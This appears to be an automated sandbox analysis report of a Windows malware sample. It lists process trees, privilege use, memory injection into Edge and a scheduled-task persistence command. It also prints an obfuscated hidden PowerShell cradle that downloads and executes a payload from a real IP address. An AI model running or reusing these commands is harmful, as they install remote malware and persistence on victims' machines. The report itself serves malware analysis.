N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5108 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manage.exe
PID 5108 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manage.exe
PID 5108 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manage.exe
PID 5108 wrote to memory of 3420 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manager.exe
PID 5108 wrote to memory of 3420 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manager.exe
PID 5108 wrote to memory of 3420 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manager.exe
PID 5108 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5108 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 5016 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 5016 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 1404 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4880 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4880 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1656 wrote to memory of 4480 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe

"C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe"

C:\Users\Admin\AppData\Local\Windows Session Manage.exe

"C:\Users\Admin\AppData\Local\Windows Session Manage.exe"

C:\Users\Admin\AppData\Local\Windows Session Manager.exe

"C:\Users\Admin\AppData\Local\Windows Session Manager.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/Private_Hacking_Cracking_Tools

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcd2b446f8,0x7ffcd2b44708,0x7ffcd2b44718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4B32.tmp.bat""

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"'

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5280 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1

C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe

"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4172 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5164 /prefetch:1

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fqdzhj.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anmjhg.bat" "

C:\Windows\SysWOW64\cmd.exe

CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

